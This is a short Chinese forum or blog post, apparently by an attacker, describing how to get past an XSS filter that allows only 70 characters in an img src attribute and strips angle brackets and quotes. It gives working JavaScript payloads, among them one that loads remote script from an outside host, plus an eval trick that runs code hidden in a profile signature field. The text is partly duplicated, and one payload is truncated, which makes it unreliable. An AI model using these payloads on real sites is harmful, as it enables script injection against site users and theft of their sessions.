通过getelement定位XSS SHELLCODE
今天跟AMXSA在弄一个XSS的时候就讨论到,字符长度限制了70个,该XSS是出现在
<img src="xsscode"> , 后来他说对方过滤了 < > " ' 这样 只能有限的调用。
开始我建议他 多弄几个 <img 然后 代码分别写在不同的 src= 中 这样间接的把代码连贯起来。
后来他尝试了发现不可以对方处理 <img 头像的时候只有一个攻击点,郁闷了!
想想平时我们XSS导入一个远程的JS就是为了执行更多的代码,更方便。
1.
window.k=document.createElement('Script');
window.k.src='c:/aaa.txt';
document.getElementsByTagName('head')[0].appendChild(window.k);
2.
document.getElementById('xxxxx').innerHTML+="<Script src='http://www.kj.com/kj.js'><//Script>";
想来想去,最后想出一个有点像溢出里面把 SHELLCODE写到栈里面,然后跳转执行esp的代码,
同理我们XSS也可以类似的方式。我们把shellcode写到签名的value里面 然后通过获取一他的值 直接eval执行
3.
eval(document.getElementById(
也不一定是ById的,可以是ByName或者ByTag,ByTagName 都可以!
效果不错 嘎嘎
<img src="xsscode"> , 后来他说对方过滤了 < > " ' 这样 只能有限的调用。
开始我建议他 多弄几个 <img 然后 代码分别写在不同的 src= 中 这样间接的把代码连贯起来。
后来他尝试了发现不可以对方处理 <img 头像的时候只有一个攻击点,郁闷了!
想想平时我们XSS导入一个远程的JS就是为了执行更多的代码,更方便。
1.
window.k=document.createElement('Script');
window.k.src='c:/aaa.txt';
document.getElementsByTagName('head')[0].appendChild(window.k);
2.
document.getElementById('xxxxx').innerHTML+="<Script src='http://www.kj.com/kj.js'><//Script>";
想来想去,最后想出一个有点像溢出里面把 SHELLCODE写到栈里面,然后跳转执行esp的代码,
同理我们XSS也可以类似的方式。我们把shellcode写到签名的value里面 然后通过获取一他的值 直接eval执行
3.
eval(document.getElementById(
String.fromCharCode(XX,XX,XX)
).value)也不一定是ById的,可以是ByName或者ByTag,ByTagName 都可以!
效果不错 嘎嘎